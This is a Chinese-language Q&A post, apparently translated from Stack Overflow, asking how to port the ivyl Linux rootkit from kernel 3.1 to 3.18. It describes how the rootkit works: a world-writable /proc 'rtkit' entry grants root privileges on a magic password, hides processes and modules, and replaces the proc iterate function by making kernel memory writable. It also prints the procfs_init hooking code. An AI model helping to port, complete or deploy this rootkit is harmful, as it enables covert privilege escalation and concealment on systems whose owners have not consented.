将dir_proc_entry从内核3.1迁移到内核3.18

时间:2018-02-07 18:36:57

标签: linux linux-kernel

我正在将内核模块从3.1迁移到3.18。 struct dir_proc_entry定义已移至fs/proc/internal.h。如何在新版本中使用此结构?当我试图包含internal.h时,我收到了一个不存在的错误。

fatal error: fs/proc/internal.h: No such file or directory

我是否缺少与dir_proc_entry合作的东西?我读到这个结构在3.10中变得不透明。使用它的正确方法是什么?

在我的代码中,我有:

static struct proc_dir_entry *proc01;

...
parent = proc01->parent;

使用proc_dir_entry的正确方法是什么?

我正在尝试做的是:dereferencing proc_dir_entry pointer causing compilation error on linux version 3.11 and above

我做了与我自己列出的代码完全相同的修改。唯一的变化是我现在正在使用更新/不同的内核头文件。

以下是ivyl rootkit的工作原理。

  • 内核模块使用__init rootkit_init(void)进行初始化。

    • 同时运行procfs_init或fs_init

      • 这两个函数都用自定义版本替换readdir(对于内核3.10及更早版本)或迭代(对于内核3.11和更新版本)。这是rootkit的隐藏功能。它们通过使内存读/写替换函数然后使内存只读来工作。

      • procfs_init对进程文件系统进行操作。它创建一个由每个人称为rtkit的读/写文件。它将原始readdir(iterate)替换为从视图中隐藏rtkit的新readdir(iterate)。

      • fs_init对/ etc中的文件系统进行操作。这是存储模块的地方。换句话说,它隐藏了可执行代码。

  • procfs_init中的代码依赖于proc_dir_entry结构。此代码详细说明(逐行):

    • 为每个人读/写的进程“rtkit”创建一个条目。
    • 错误检查 - 如果未创建进程,则返回0.
    • 获取父进程。
    • 错误检查 - 如果parent为null或父进程不是“/ proc”则返回0.
    • 设置rtkit进程的读取功能 - 这只是打印一些有关rootkit正在做什么的信息。一种帮助命令。
    • 设置rtkit进程的写入功能。这是将所有内容组合在一起的主要功能。它查找代码“mypenislong”并更改为root。运行此rootkit的用户现在具有完全root权限。它还根据给定的命令隐藏给定的进程和给定的模块。
    • 获取根进程(proc_root)
    • 的文件操作结构(file_operations)
    • 从文件操作中获取原始的readdir(iterate)函数。
    • 将proc_fops设置为读/写
    • 将proc_fops迭代成员设置为rootkit的新功能(隐藏功能的那个)
    • 将proc_fops设置为只读。
    • 返回1.

procfs_init的代码:

static int __init procfs_init(void)  
{  
  //new entry in proc root with 666 rights  
  proc_rtkit = create_proc_entry("rtkit", 0666, NULL);  
  if (proc_rtkit == NULL) return 0;  
  proc_root = proc_rtkit->parent;  
  if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {  
    return 0;  
  }  
  proc_rtkit->read_proc = rtkit_read;  
  proc_rtkit->write_proc = rtkit_write;  

  //substitute proc readdir to our wersion (using page mode change)  
  proc_fops = ((struct file_operations *) proc_root->proc_fops);  
  proc_readdir_orig = proc_fops->iterate;  
  set_addr_rw(proc_fops);  
  proc_fops->iterate = proc_readdir_new;  
  set_addr_ro(proc_fops);  

  return 1;  
}  

由于dir_proc_entry结构现在是不透明的,我该如何替换此代码的功能?我需要代码来读/写进程,以便可以根据需要隐藏进程。

编辑:修改了问题标题并删除了无关的声明。添加了关于我正在尝试做什么的澄清。

编辑:添加了ivyl rootkit工作的描述。

0 个答案:

没有答案